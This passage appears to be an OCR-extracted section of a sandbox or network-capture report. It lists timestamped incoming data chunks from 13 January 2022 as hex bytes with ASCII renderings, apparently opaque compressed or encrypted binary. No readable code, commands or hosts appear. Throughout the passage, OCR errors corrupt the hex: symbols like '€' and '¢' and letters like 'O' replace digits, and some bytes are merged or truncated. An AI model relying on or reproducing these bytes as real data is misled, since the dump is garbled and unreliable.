27 b2 2d 42 a8 10 38 39 b9 27 4c c2 b4 7a 08 Oc 53 20 21 13 30 0d b0 71 3b 35 f8 41 ac 90 d2 f9 aa 7b 23 6f aa 2b 91 1b
55 6a €0 dd 05 a4 92 71 23 7d df 18 32 53 21 37 44 2b 9b €3 11 c2 d7 62 3d a7 9d d6 4 de 63 04 6b af b8 c3 4a ch 6a 5e
45 47 34 14 48 b5 29 64 8f 35 3f bb 37 a5 3e df 6b 57 28 a4 a9 ad ¢3 fd 55 5¢ 67 fb d9 9¢ 8b b8 4c 94 77 Oa da 89 d1 cf be
b5 Oe 83 ae 2 24 6f Oc 4c 26 b2 d2 82 78 75 ce 25 8b
Data Ascii: \gTe.P7'@NIAs$vSC{3))8 9)Sa"+RK zUyvaKMU[>yR2DupOQ<wf5"#GX'-B89'LzS 10q;5A{#0+Ujg#}2S!7D
+b=ckJJ"EG4H)d527>kW(U\gLW$oL &xu%

2022-01-13 19:22:46 UTC 626 IN Data Raw: fc 33 f9 df 31 ¢7 73 3e 85 ce ee 55 b1 ¢6 32 12 52 8¢ 0f 8b 75 0d 9a a2 ba 0f 89 2d 18 1f 8e cf 16 c1 b4 5c 65 8f
9379 87 c8 e4 0559 73 5e 96 23 e8 c6 bc d4 24 3f b0 3c cf 7b 34 f1 e5 4e 7b 21 f1 66 d8 d9 9d be 8e ae cc 31 dd 98 d4
bb 3d 3c 38 b3 36 77 33 71 49 dc f0 bb fc 25 b7 bd 24 12 5d 81 8f e6 bf 5¢ fd 77 ef 42 24 73 60 b4 61 ed Oe 1c a7 73 Oa e4
24 ef 61 11 2d ec 24 92 12 e2 12 3d Oc f2 4b 4e 7a da 97 9c 67 56 ec d7 69 15 34 5b 72 a4 f0 a5 8f 5¢ 28 7¢ Oc 48 dc ca
a4 44 ae 08 €9 f6 7 0f 80 b5 15 88 38 85 cb f9 2a 6e 3e b8 4d f8 26 Oe 40 ad b8 33 2f ee fc 51 3d d6 97 87 9d 81 c4 6b
Oc 5e 11 13 b2 d3 7d 29 d2 a5 d1 db 2d ca 28 e4 ab el 1d 5e f2 15 b9 d5 9e 74 42 34 Oc 03 7f 8c fe 60 bc 03 c2 c6 94 1f
48 2598 88 5b 70 e2 c4 85 5c df 5a 2e ee af e2
Data Ascii: 31s>U2Ru-\eyYs"#$?<{4N{!f1=<86w3q|%$]\WB$s as$a-$=KNzgVi4[r\(|HD8*n>M&@3/Q=k"})-("tB4 H%[p\Z.
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kBytes
Timestamp transferred Direction Data

2022-01-13 19:22:46 UTC 630 IN Data Raw: 1a 15 bf 4b 82 d1 f1 67 80 c0 a6 5b 07 6e 49 26 15 b9 e9 Oe 12 98 de 21 47 f2 1b aa f6 b2 52 12 aa 88 b3 35
a2 a6 c2 3a 15 61 a6 1la al Oe c7 7c 4c 88 30 02 d2 c2 bc ae f9 a8 a8 d3 97 39 63 49 07 cf ec 13 4a b6 f0 f6 fb b8 6e fe 22
86 6¢ 04 c8 75 61 cb 37 a5 3d 49 98 45 62 c6 aa 7f 28 70 d6 e7 66 f5 15 ec 40 a6 ef 9e ed 71 b2 bd 71 d7 b8 3e aa 1b 6e
7a cc 5a 02 f8 03 e7 68 cf 4a 81 0f fd b9 2c fe 19 68 15 b6 26 b6 68 41 80 a2 33 76 be 64 df c4 44 03 b7 65 88 45 79 9e 46
46 a9 c5 29 d4 08 5¢ 31 03 06 ba 32 87 56 c6 ch 24 82 83 b2 75 8b aa 8f 00 {7 f2 2a 79 77 bl 6¢ 3d cb f6 ab d2 5e c9 bl
7755 14 5d 76 08 77 87 e4 77 46 da ce f7 21 a9 b1 70 6d 74 f4 3d 48 ee 5b bd 81 5 74 a4 54 05 90 89 40 eb 51 47 48 e0
5e cf 76 90 9e a4 74 e5 64 8d 28 93 b2 0d 98 6¢ ba
Data Ascii: Kg[nl&!GR5:a|L09clIn"lua7=IEb(pf@qg>nzZhJ,h&hA3vdDeEyFF)\12V$u*ywl="wU]vwwF!pmt=H[tT@QGH
Avtd(l

2022-01-13 19:22:46 UTC 633 IN Data Raw: 7b 42 65 85 b6 94 37 31 8a 25 6e 87 16 15 35 Oc 81 1e 06 db c0 9e a4 c8 74 c0 e7 da db 36 42 02 4e 33 b3 el
b7 c7 84 b6 58 f9 84 44 da 19 1b 43 de 6d 64 a7 37 50 37 2a 67 be d1 15 8f 2d 4d Oe 41 8b 82 Oc 1c 30 38 84 a2 66 32 43
1c 13 cfdbe8 4931 06 12 8e c1 29 84 96 89 e5 4d 7b 38 c7 67 c6 ae 21 98 1c 16 aa 08 Oc 72 Oc f2 b2 b4 8e 0Oa e6 af 00
9588 39 28 e7 1d b0 8e 6a 2a be d7 09 f2 85 58 78 9b ec 13 cb 27 95 fd 5e 86 3d f2 eb b7 34 7d 1d bl b7 1c 18 7f 63 5a
208 36 26 4e 7b 88 c5 1b 51 a6 d6 c7 fa 44 20 b2 54 8e ¢8 d7 7c ec 08 45 23 af a3 Oc 6b c6 40 df 30 bl 1a 64 1f ff fa 37
08 0a 70 c9 ac b2 60 97 2d 9e 6f a6 Oa 9e dd 3a af 6¢ f2 af 55 92 f9 9f 44 09 af bc aa e6 80 ef 6d cO 89 1a el f8 04 06 e2
11 49 84 71 97 d2 fe 8e 28 22 b8 6b fa fc b2 3f af
Data Ascii: {Be71%n5t6BN3XDCmd7P7*g-MA08f2CI1)M{8g!r9(j*Xx"*=4}cZ 6&N{QD T|E#k@0d7p -0:lUDmIq("k?

2022-01-13 19:22:46 UTC 637 IN Data Raw: c4 4b 37 e6 57 92 f9 15 8f f7 8f f8 31 3d 12 b0 75 30 00 62 88 5b 37 c2 {7 2e 99 b3 ae bd a7 1c c8 e2 c6 dc f4
04 a0 35 47 4f 5a 47 27 ab dc 13 01 53 0f d8 d1 76 c6 83 63 e7 d4 ef Ob 07 3c 38 ca 2f eb a7 75 d2 a7 4c cc 8 4e d4 b3 {3
1f 15 09 64 df da Oa 76 89 8e 92 56 99 85 2e 08 02 b9 aa 5f d7 4b 35 6d 17 87 d9 fd 1e 33 3d 80 18 8c 22 24 2f 7d 90 8e
a6 44 33 e5f8 aael 1b e5d1 c9 7fdd 8c e5 fO fc 26 05 2e 75 95 fe 52 43 dc 4c af 36 e2 e2 da 96 1d 12 4e c9 f0 92 89 19
ac c9 46 bc 73 92 67 02 a9 dd 0d 8c 5d 68 el 02 5e 05 22 71 83 d0 4f 88 35 78 ad c3 bf b1 af b2 34 82 a0 6¢ 33 ec d7 6d
86 b4 54 8e 05 29 c1 f6 47 59 3c 24 8a cf 44 64 8f b7 bf 31 c1f4 e6 71 20 6e 87 d5 f4 87 d9 18 10 b1 d9 f7 fb 9a 67 98 c6
09 22 7c a3 3d 18 90 7a a8 Oe 10 54 8e 3b b6
Data Ascii: K7W1=u0b[7.5GOZG'Svc<8/uLNdvV._K5m3="$/}D3&.URCL6NFsg]h""qO5x4I3mT)GY<$Dd1q ng"|=zT;

2022-01-13 19:22:46 UTC 641 IN Data Raw: 13 7e 06 af Of a5 ec 2a ee 56 {7 ¢9 65 fd 3a 20 28 b1 23 12 46 68 65 67 17 6e 87 c0 98 6b el 16 43 d8 2d 31
887 7e c1 1b ff ae 22 8b 25 fe 43 2¢ b8 3d 3a 4f 3d ee 18 0a b6 bb 4e d8 9 69 15 bf db el 71 24 02 28 18 54 75 c3 2a
17 36 6a 8a 48 ac c5 €9 48 81 bd 54 48 45 5a e1 8d 9a 1d 4d b1 a6 1a 03 24 36 61 0d d7 1c 02 c8 el f2 b3 be d4 55 da ef
90 84 40 98 db 69 Oe 2e Ob c5 cf 93 9f 3d 79 89 b6 40 31 b6 35 8a 59 6¢ 97 96 69 0d 50 29 ea d0 al ef 25 a6 ee b4 27 67
64 87 43 04 d5 d8 74 a3 df 64 16 55 7c ¢5 50 11 b5 af 45 c6 de 80 d0 04 d7 a7 2e 6a 3f 2d €9 2c 6a 95 fd bd 2a 12 d9 Of
dd 07 87 0d 38 49 52 1e 00 b9 43 2 ef 59 13 af b6 86 20 7d 2f 7c 6¢ f5 a5 96 bl c1 53 56 4b 2a 77 47 2c 18 b1 c6 ca 6 f6
96 19 c9 f1 5e €5 3e ab 24 dd 5f Ob 54 12 24 ¢5 42 4a
Data Ascii: ~*Ve: (#FhegnkC-1~"%C,=:0=Nig$(Tu*6jHHTHEZM$6aU@i.=y@15YIiP)%'gdCtdU|PE.j?- *8IRC,Y }/|
ISVK*WG >$_T$BJ

2022-01-13 19:22:46 UTC 645 IN Data Raw: 70 de 3f a8 f6 46 a2 ae 92 11 5d 1a 14 2e a5 2b 97 88 28 a3 47 19 b9 45 4a a9 ed e2 7b 32 f3 84 0a fO 73 9a 6f
50 8b 90 3d 7a 01 3d 1d a8 4e 9b b3 70 14 49 a6 19 dd 6a 85 cd 71 85 3d 1e ae 44 dO fe 10 2f 01 c6 bc 64 3e 4a 58 9e 62
ef af 11 be b5 2d 30 6d 7d 52 b9 4f 6e c3 f7 f5 81 04 39 7a e0 3f 92 32 ¢4 f6 7d d4 d1 3552 96 80 10 25 4f 29 1a 63 b0 2a
60 6a 77 5e 55 06 c7 Oe el ae 37 c¢7 18 cf ae 6e f3 cc ec db 71 f8 fb cc 5¢ ad fb 9b 32 ac 35 da c9 2e 51 8f 09 35 7a f8 1b
b7 63 ef 38 77 63 43 56 23 48 d3 60 €9 0b c3 51 55 c4 2b 65 db 72 43 a8 59 eb 9d 38 af 3e d3 f9 66 ee c9 1c 86 ed 44 4f
fd 28 64 ea 4e b7 cc 95 54 Of ab ¢6 79 d5 10 3b d9 74 a3 be 89 73 11 8e a0 8b 11 8d 74 85 90 ad 5a ac 5b 02 f3 19 9a 05
fa d5 19 4d 47 a6 09 46 63 ef 5a 7d 4c ae 55 f9
Data Ascii: p?F].+(GEJ{2s0P=z=Npljq=D/d>JXb-0m}RON9z?2}5R%O)c* jw U7nq\25.Q5zc8wcCV#H QU+erCY8>fDO(d
NTy;tstZ[MGFcZ}LU

2022-01-13 19:22:46 UTC 650 IN Data Raw: b8 84 93 b7 35 33 3f e2 93 fa 4c ad 67 e3 52 cc e4 a7 9c 02 aa 29 4f ec el 13 c6 cf 7e a5 84 42 25 03 06 a6 Ob
6fd9 1d 7b d4 ba c8 ec b9 06 a8 64 8e 2d 8d eb 31 7f 1e Ob 3e f8 e0 a5 ce 3a 9f ¢7 61 d6 27 3a fd e3 cd b3 b7 55 ab b5
80 77 21 fd 77 f7 83 ae 55 7e 8f cc fb c4 33 47 5d f4 84 9c ec 6f 20 b3 f4 a2 ¢3 03 07 cd ce 8a ce ff 38 26 b0 36 05 3d d9
7250 e0 db a7 85 c6 de 37 19 6a 91 e3 1b 9b 90 cf d0 04 bd 5d 70 a9 b7 b7 b7 b2 db d1 1b f1 aa 05 31 85 5f 6¢ 2d 9a 18
e4 37 bc c0 dc 3a 8b al 3f b3 bc 9e a9 43 a4 a6 12 55 09 de 2a 1d ea b4 70 d1 96 c3 44 5¢ 63 7a 39 ¢3 95 48 d3 71 27 ed
24 b2 8f ec bb 45 59 62 5f 99 fc 4a d6 9d 91 7d 7d 3d b6 40 36 04 b3 57 80 2d 80 59 71 Oa 13 6b f4 27 9e 1d 09 36 Oc 42
51 25 ed 4d 75 25 e6 2b 31 83 6b 85 79 3a 3c 3e 53
Data Ascii: 53?LgR)0~B%o{d-1>:a":Uw!wU~3G]o 8&6=rP7j]p1_I-7:?CU*pD\cz9Hq'$EYb_J}}=@6W-Y k' 6BQ%Mu%+1ky:
<>S

2022-01-13 19:22:46 UTC 654 IN Data Raw: 9e 27 7a 87 67 d8 61 78 b8 34 0d d9 01 9f ed f2 a8 1e 62 90 61 fd eb 04 9d 4a 64 83 c1 52 d1 10 d5 88 ec 7c
5f 78 b0 28 00 €0 79 01 78 6d fe 52 cb 7f c8 d5 05 f3 55 b0 c4 aa 25 eb 25 24 5f fd 86 99 4e bb 56 ef 31 df 20 07 b0 f2 f6
22 76 a3 83 00 1c b5 ca 3e 8a 2b 8a 49 42 5f ee 82 2e 8 13 a6 16 54 f5 48 f6 db 1c bc 21 83 dO e7 37 28 6e 08 9e d9 bd
3b b3 b5 b9 22 8d fd 03 f6 fd 5d 7f ce e2 9a a6 74 18 83 73 ac 2b 88 49 20 df 7f d1 ad 4c 29 91 fb dc 2f 33 4e 7d fa e8 50
db 19 ¢9 e4 09 7f 2b 43 Oc b7 a4 1e 7f a0 6f fd 47 87 65 f1 29 91 fe 8b 79 b7 1a b7 57 84 4d 58 e6 fb 39 d5 33 5¢ 43 Of df
16 4d 80 1c ec dd cb 80 ec b9 4e ca 70 54 98 c6 19 6f f1 28 16 44 4d 12 13 88 8b 34 f8 4a cd 64 14 84 5f 14 89 39 dc 8a
50 d0 79 €6 d7 16 8d Oe 2d 90 6b 1a 1a 47 80 Oa
Data Ascii: 'zgax4baJdR|_x(yxmRU%%S$_NV1 "v>+IB_.THI7(n;"lts+ L)/3N}P+CoGe)yWMX93\CMNpTo(DM4Jd_9Py-kG

2022-01-13 19:22:46 UTC 658 IN Data Raw: 08 b8 3b f8 a9 bb 56 97 1e 17 31 8a 24 59 cd 14 31 f3 d4 80 19 f7 ab 17 ce 89 35 60 07 8a 93 e4 8e 68 d0 38
08 c5 37 1b 14 35 55 da 48 b1 b0 ad c0 95 dc ed fb b9 31 22 ¢5 e6 35 8e 9c 69 db 66 42 87 b8 4a 53 95 96 f5 c4 a5 8b bd
78 8b 05 b7 34 9a da 23 94 31 33 f2 8¢ 2c 19 00 2f fe 09 1b 36 55 99 f8 57 d2 95 8c b2 b7 df 03 fe ac 98 b9 28 34 46 7e aa
be 17 db 18 ba al 40 0a 76 d5 e5 4b 18 2a 90 01 ca 84 40 3c 25 9d Oc c8 6¢ a5 28 e3 29 cc 46 03 e0 3d 55 7a b3 76 92
06 06 39 90 59 fd 68 aa a9 aa ce 49 cc 81 bb 3e 2d 5d 0a 51 5¢c €9 31 85 7a 99 a3 ba ed 25 0b a7 47 al dc 18 26 89 a5
4a 95 14 dd be fc b4 a2 7d cf 07 ¢5 74 1a 69 el 96 64 68 5e 2d fb ad 55 85 12 4f b5 a3 1d 65 79 b2 2e 7f cd 8f 2a 6¢ €9
5e 9c 9b Oe a0 Of cb 59 9f bf 60 07 58 df f4 6e 77 9f 00 af
Data Ascii: ;V1$Y15'h875UH1"5ifBISx4#13,/6UW(4F~@VK*@<%I()F=UzvIYhI>-]Q\1z%G&J}tidh -UOey.*I"Y Xnw

2022-01-13 19:22:46 UTC 662 IN Data Raw: 88 b9 c0 57 e6 e6 a4 90 6d e0 28 al 6¢ 29 79 b5 9f 75 1a dO 4e 22 df 0d 82 3b 18 6e 76 b9 bb b5 de 09 2f 5a
9f 6b e2 1e f6 1c d6 ab 9b 47 ab ae 5 b9 d6 45 bf de c9 {7 32 38 ac 3d e8 5f Oc 70 23 5a d3 c3 52 d6 14 9e e6 40 b2 5f 7f
7a 6¢ 69 3b 4f a3 fe 61 66 bb 2d 5e 23 86 €9 7e b5 bd 59 d3 71 d5 42 ¢3 7a d8 5a 94 a6 a8 f0 50 ed e2 17 3d 04 c3 b7 07
3e 2f9d d5 1c 9b a6 ed 4b f0 37 2a a8 9f d9 5d 76 55 14 6d 42 36 64 e9 23 5f 82 7f 7a a0 03 c5 11 55 2f 3a 58 81 8f 46 1a
14 1b 64 c5 2a c4 f2 6b 94 77 20 ea ad da 48 a6 b0 75 aa 73 47 b2 9a a2 9d 80 52 b3 Oe 45 54 f1 23 07 bb 03 be Oe 29 69
a3 87 6f c0 e4 6f 96 1c 4e 9c 84 63 63 8f €3 3c c2 8d 82 eb 1e 63 03 27 b5 ca 6d 2a ad 79 cd 2c 15 df a0 f3 b4 07 ad c2
35 60 7b 9a 2a 36 ae 21 95 2a 62 49 35 a7 12 30 68
Data Ascii: Wm(l)yuN";nv/ZkGE28=_p#ZR@_zli;Oaf-"#~YqBzZP=>/K7*lvUmB6d#_zU/:XFd*kw HusGRET#)iooNcc<c'
m*y,5'{*6!*bI50h
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kBytes
Timestamp transferred Direction Data

2022-01-13 19:22:46 UTC 665 IN Data Raw: 86 ea 34 07 Oe 82 b6 41 71 87 29 7d d8 ab 30 fO 0d 88 22 aa 4c c8 f5 ad 28 1f 7e c2 83 0f c9 7e 4e cf df 45 94
b3 e8 Oe a5 d6 34 be bd 78 30 6¢ da 1d 64 €9 69 ad 8b 95 7c 05 f0 0a 37 bc 2c 5d af b0 f4 a2 dc 1d 32 32 68 30 99 a3 d9
d2 c4 9053 7c b4 05 c0 c6 d2 29 7e 89 eb 38 80 7e 4f 7a d7 1d 57 1d 1b e9 5e 94 3f 6e 80 9d 4c be d6 37 8f b4 ce ac 71
e0 ae 6f 3b 25 d0 31 2e ef f2 1c c7 48 a8 7c 8c 7b ed cf 25 68 af af 29 39 7c fO 6d 67 6a a2 4e 09 78 2f 7d 5b e6 16 94 bf
8d fa 13 Ob fe 61 bc f5 03 35 70 56 30 bd 0a aa 70 4f 4b e9 e6 96 6d c2 88 bf f5 f6 17 7c 15 07 81 54 c6 9f b7 b3 17 34 b6
35 7bcl d5e6 0b 24 ae 83 ad el cc a3 77 42 34 86 c1 30 56 e0 05 50 9f d4 d7 b6 9f dc 99 7c b5 56 f4 ea 5f d2 el 6e fa
b8 41 59 19 5b d7 95 9e 3c f2 d0 3d a0 ca 9f 20
Data Ascii: 4AQ)}0"L(~~NE4x0ldi|7,]22h0S|)~8~0zW"?nL7q0;%1.H[|{%h)9|mgjNx/}{a5pVOpOKm|T45{$wB40VP|V_nAY[<=

2022-01-13 19:22:46 UTC 669 IN Data Raw: c6 84 6b c8 4c ad 62 75 96 8e d6 a8 93 c1 37 10 e8 6d 35 54 36 46 ea a7 ed 56 b8 ff f1 a2 b7 f6 €6 a2 ee 47 af
b8 fd 2f db b2 78 ed ea 14 72 3¢ 77 33 51 bc 90 ¢6 bd cd 23 13 bl cb be cf 82 5e fb 83 8b a7 20 97 4c 71 b8 86 c2 f3 df 97
81214 61 66 9e dd d7 c8 e4 10 ae Oe 8c a3 e0 f8 a3 18 f3 eb 12 dd 78 11 a0 b8 55 25 50 80 53 89 11 Oc 17 de 52 50 04
2369 39 a6 4a 94 31 b2 4c fe 5f 9b f1 3c db 7f d7 1a f3 €9 7b c1 db c0 4a dd c3 ef 41 03 45 5f be 83 45 45 b0 df 79 3a 6d
2b 2e al 08 4b d5 96 d1 4b d1 b4 e0 d7 d1 09 41 46 40 ff e2 da 4a b4 cb el 07 ad ed Oa e7 48 62 5d 55 3d 83 0d b1 7d f8
3b e5 6a 9f 5a 0b 89 7f db 93 5a b5 b2 f0 a8 f2 a0 ef 6e 66 82 a9 5b cb e7 b7 24 09 52 fa 98 42 a4 80 el 0d 87 4d 91 31
19 b6 07 40 8f 75 32 47 cf c8 ca 13 8d 48 4c 3
Data Ascii: KLbu7m5T6FVG/xr<w3Q#" LqafxU%PSRP#i9J1L_<{JAE_EEy:m+.KKAF@JHb]U=};jZZnf[RBM1@u2GHL

2022-01-13 19:22:46 UTC 673 IN Data Raw: 1b cf 8e 8e 56 d9 b5 f6 b1 7e 56 d8 ec 8b 8b 40 4c a7 5¢ 93 ba c5 f2 a7 8¢ b9 79 18 54 37 29 7a 8e 26 8f db ad
9a a6 68 3d 60 49 1f d1 9a f8 9d 71 ab 03 03 ab 2b 2a 65 d5 98 b5 76 7e 7f 63 4d 8e c8 32 ac 88 bb 7d 36 c2 57 44 90 98
16 70 ¢8 23 b9 ce f9 46 dd 2b 27 28 cd a2 c8 69 10 01 40 a2 07 88 59 e5 09 d6 49 a3 91 12 1d 38 2d 83 6e db 3b 5f 68 6d
b9 67 7d 84 f1 09 a3 51 1f a5 1d 33 e3 3¢ 18 3e b9 1b 51 37 7c b4 92 33 a9 ec 6f 6f b3 19 83 00 30 e6 6b eb 66 c6 82 28
69 e0 f4 04 f6 39 c2 f6 €9 a7 ba 0a 64 13 cb 5 8e 05 f7 db b0 dc 77 cd bd ff 13 58 4a 63 68 9f 5a d5 21 24 Oe a4 34 12 d3
99 al b6 c5 10 47 45 51 €6 66 04 d6 01 ef d2 12 a4 9a 53 c2 ab 4f d5 9c db 70 f8 8e e7 73 c6 a0 33 a0 73 38 67 2b 90 70
94 12 ff be 43 27 ¢7 31 46 b1 41 60 9d 78 f8 1e 4e
Data Ascii: V~V@L\yT7)z&h="lg+*ev~cM2}6WDp#F+'(i@Y18-n;_hmg}Q3<>Q7|3000kf(i9dwXJchZ!$4GEQfSOps3s8g+p
C'1FA'XN

2022-01-13 19:22:46 UTC 677 IN Data Raw: e8 f9 df e0 d0 6 5e 13 af 2d 92 7d 84 6a c5 23 fd 7f 63 57 €8 04 07 1c fe 89 2d 05 0d 4e 83 83 ea c0 86 8¢ 7f
76 c1 c1 30 8d 21 a5 53 0a d6 ca 34 94 09 6b fe 79 c8 6 af f8 €3 04 6¢ 92 40 bb 9f c6 3d b8 35 13 7f ad d6 a4 63 95 67 de
4b a8 de 8a 31 17 2f a9 28 01 ff 8b 7a 73 ae e6 6b 2f 00 fd 27 75 64 40 7b 04 ca 7a a6 5e Oe 3 45 97 b3 ab 26 ed c9 8¢
le 34 1e 6e a5 36 bf 16 9d 47 14 ac 6e 4e fc 06 7b 2d 33 6a a3 19 77 35 0a 41 41 98 07 d3 9e 65 84 df f2 58 81 f0 74 a8
d1 el bd 23 3e 98 50 83 cb a5 af ba 26 49 42 a7 50 a9 51 c6 c4 ¢3 d7 af 78 53 70 12 1c 2e a0 42 4b df 4b 1d ff 62 1b db fd
36 3c dd 75 a7 48 c9 bb 7b 71 7 89 2a 92 ea 77 a7 3a 18 fd 0a 14 bd 50 a4 67 4b f1 7d ce 20 00 36 57 26 20 ec 51 bc 3b
cd bf 48 fe 75 b2 31 bf da bl 8c 1a ee 4c 07 54
Data Ascii: /-}j#cW-Nv0!S4kyl@=5cgK1/(zsk/'ud@{z"E&4n6GnN{-3jw5AAeXt#>P&IBPQxSp.BKKb6<uH{g*w:PgK} 6W&
Q;HUlLT

2022-01-13 19:22:46 UTC 682 IN Data Raw: 72 93 04 9e 2a 29 96 30 d8 ca 49 87 el d0 52 40 88 31 b8 15 f6 74 b8 3a 2e 42 1e 5d 06 cb 7e 06 b7 17 94 el
79 48 c2 eb ec 8f c5 63 1f 10 64 3d 00 3b 77 0f 86 97 8b ee b5 aa e3 61 19 Oe Oe f4 3e 5f 8f a8 91 37 ¢7 1e 3c bd 94 6f 2b
55 05 bc 57 b1 86 06 b4 49 8f 36 5b 74 Oc 12 08 3b d1 78 ac 1e 0f 41 80 91 8e 11 df df 10 4c 89 26 c0 e3 85 a6 Oe 5e f1
0d 1a 9f 70 79 7e 3d 8c e5 93 87 ad 8e 98 c1 63 8f bf da bc a4 45 bc 02 9b de 88 82 99 50 3f 3¢ 71 a3 d2 c4 e7 74 c8 07
45 2¢ 48 72 d7 90 62 2b 4f 48 7a a7 ea 51 60 47 21 40 6¢ 27 af ba be fe 4b 07 ca c5 9 ee 4e b0 fa 69 6f 24 {7 a9 41 55 96
a8 5a c2 b5 26 bd 1f 75 12 40 41 a9 ef c2 e0 ee 7f 49 03 b8 8¢ db a2 9f 57 ba 99 97 9a 18 67 61 52 5d 42 42 57 fa 2b 40
b5 59 45 a6 d6 11 5d 53 6 f4 7d c8 bb e8 4c d6 6¢
Data Ascii: r*)0IR@1t:.B]~yHcd=;wa>_7<0+UWI6[t;xAL&"py~=CEP?<qtE,Hrb+OHzQ G!@I'KNio$AUZ&u@AIWgaR]BBW
+@VYE]S}LI

2022-01-13 19:22:46 UTC 686 IN Data Raw: ed c1 a2 31 2d 2d 6b 5 e9 51 c7 Of eb c5 98 11 42 15 78 43 26 c3 {7 e4 92 88 6a d7 f5 21 35 ff 89 c5 d2 11 20
3a3a a8 b8 5¢ 74 5c 6d e5 45 13 e4 ad 46 da 68 €9 a3 be d3 48 06 53 7f 64 02 bc 18 56 b3 7a b6 e7 fd 31 93 33 e8 f6 42
b4 e7 35 ee 92 ad 54 2a 97 Ob 80 50 da a0 4d 3a 01 Ob 59 08 a4 5c 90 8d 75 3a 3d 9a 37 e4 41 d4 ae f1 Oe bl dd de a2
38 d9 62 8f 22 b7 5b 05 7 b c7 80 4c ed 40 ac 4c 84 Ob 2c dd 73 38 48 37 4b a0 00 47 3a 9a 02 d2 d8 f6 dc cc Oc 29 26
368a 91 ed dO 7b 4c 01 cd 08 28 41 fb 11 4e 91 89 d7 1b 9d ae Oa ee 50 8 58 19 b5 7d 97 5a 44 c0 af 7f f6 d3 0a 99 76
46 5f a2 f9 06 8a 65 ee 50 d1 7 1f 0a 4f 1d 7a df 12 26 5¢ 5e 4b 5d 10 8b cd d2 68 2f ed 2 Ob 4f a0 82 5d 7b 60 9c 97 6f
64 €9 48 54 6d 91 5a f5 Oc ae c2 42 ad 42 39 c5 74 78
Data Ascii: 1--kQBXC&!5 :\M\MEFhHSdVZ13B5T*PM:Y\u:=7A8b"[L@L,s8H7KG:)&6{L(ANPX}ZDVF_ePOz&\"K]h/.O]
{0dHTMZBBItx

2022-01-13 19:22:46 UTC 690 IN Data Raw: Oe a0 39 ca 96 17 4b 7e d3 aa 43 88 2c 35 4e 37 9a 77 d6 1c 62 d2 88 fe aa 19 ae 64 1d 25 fb de 66 48 bb 44
41 ¢c0 b8 1d 05 ¢7 bd 07 3f 47 c4 26 d0 65 5b 07 ¢5 f8 7d 7c b6 32 bf 20 fe 09 77 45 42 55 ea 25 65 f0 a4 85 67 8b de 7a
43 d9 1f 9e b0 59 27 72 7f 2d 74 Oe 8f 65 10 89 e8 d9 6e Ob 7b 85 3c a6 9b 97 cf be 68 00 da 7b 59 db ef c0 32 12 79 80
8d c9 b9 6f62 aa fd 61 af 6a 9c 51 bc e6 70 c2 5b 22 f0 7a 26 56 b9 03 9a 85 a5 e8 64 ed 8b 35 5 44 22 ¢7 74 8a 4b 17
bb 8c 72 98 45 54 59 77 7a 96 95 1b 2e 5d f3 1e df 9b a7 00 54 el dd b4 e8 d5 6a 9c 7a 84 ¢6 93 7d 52 ee 53 f3 04 e5 b8
eae7 86 ad 41 10 94 2f 28 88 f3 27 e0 fa 13 af 78 87 a8 el 70 e9 b4 ca 01 52 c4 f5 be 90 7a d1 32 a2 c4 42 98 87 57 8
51 7b 43 ba 27 €5 77 cf 16 e6 b5 c3 e2 71 03 cc 02 1d 63
Data Ascii: 9K~C,5N7whd%fHDA?G&e[}|2 WEBU%egzCY'r-ten{<h{Y2yobajQp["z&Vd5D"tKrETYwz.| TjzZ}RSA/('xpRz2
BWQ{C'wqgc

2022-01-13 19:22:46 UTC 694 IN Data Raw: c9 cc 30 db b6 24 31 23 2 07 8f be 69 27 29 2a 78 68 9a 33 2¢ 52 d3 59 fa 8f dd 17 fd 87 ec 06 5¢ 48 24 24 c6
da 15 4d 98 ca 09 61 fc ¢7 b4 2d b0 5e 9a 5f 8f b9 64 7d 66 8b 8e cd 9b b9 a4 62 8 39 43 9f fc 23 d9 a7 42 67 58 83 df 2f
€9 68 3b €8 37 6b 82 27 49 ea c1 1a 05 ¢4 31 76 c2 ec 21 Oc 69 1f be af 5b eb 67 96 al a0 db 67 b5 52 81 b2 5f €0 19 aa
b7 7b 2c ¢3 5b 41 be a2 bf 7e ba af 6¢ dd de 57 4b e8 5d 80 87 5d ce 5b 50 76 0 77 43 90 45 01 71 ed 47 e2 37 5¢ b6 56
11 9a 4a d9 Oe 50 27 78 bf a4 99 57 4c bf 70 a8 4b a3 6¢ 47 e9 6f 36 66 6f 85 a9 el b6 72 17 €3 1c b4 d3 b7 95 cf 38 82
62 38 3e cf 6f 06 e4 8c df cd be 58 3f al 8e fd 9a ac c9 1e 92 66 cc 5f f1 82 f4 90 f3 0a 51 b9 43 74 e4 62 98 dd 78 50 78
98 e5 a3 f1 f9 7d 92 20 95 15 c0 5d dc 37 d0 03
Data Ascii: 0$1#,i)*xh3,RY\H$$Ma-"_d}fb9C#BgX/h: 7K 11vii[ggR_{,[A~IWK]|[PvWCEQG 7\VJIP'XWLpKIG06for8h8>0X?
f_QCtbxPx} 17

2022-01-13 19:22:46 UTC 697 IN Data Raw: 30 a3 a2 09 ab be 8a 36 5 Oc d5 74 3c 9d 40 5a 09 45 bb 5a ab f0 28 f0 ff e3 35 2e 27 b8 f1 81 28 b2 2e b8 bc
c1345573a7 e6 7e f0 68 01 b2 74 22 60 28 Oc 6f ee a5 72 42 12 24 8a 7a 76 60 ba 33 db b9 a6 45 07 4d 8a 10 9e eb
30 b9 44 86 6a 3b 88 c2 b2 af c9 f3 db 01 09 b9 90 86 ef bb bc e6 c2 f8 48 e4 e4 ec a7 41 4a 92 98 9 fb 9c 33 4d a6 Oa 7a
a0 84 27 18 91 4b 42 4a 65 74 fd 4d b5 e7 6d 05 47 18 5d 71 79 ff 07 44 aa 6b 3f 68 d4 c7 03 5¢c be 2e 69 2a bb 75 01 ad
f2 7c 4a ef 51 04 03 7a c1 47 53 43 81 82 a6 1f 5b 69 Oe be 86 8f 79 21 e5 42 69 15 56 5a 68 35 d4 31 3d bb 32 b3 84 42
26 b6 d0 27 c3 e0 8c 7b 07 e5 f6 5a 68 4b 2a 8f d3 a2 e2 le 72 89 1f 2¢ 29 b8 fa 8a b9 82 8a 56 47 23 d8 72 15 75 08 b0
a7 ¢l 4b 86 fc 1f 17 42 92 a5 3b d6 f0 3b d5 18 1b b9
Data Ascii: 06t<@ZEZ(5.'(.4Us~ht" (orB$zv' 3EMODj;HAJ3Mz'KBJetMmG]qyDk?h\.i*u|JQzGSC[iy!BiVZh51=2B&{
ZhK*r,)VG#ruKB;;
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kBytes
Timestamp transferred Direction Data

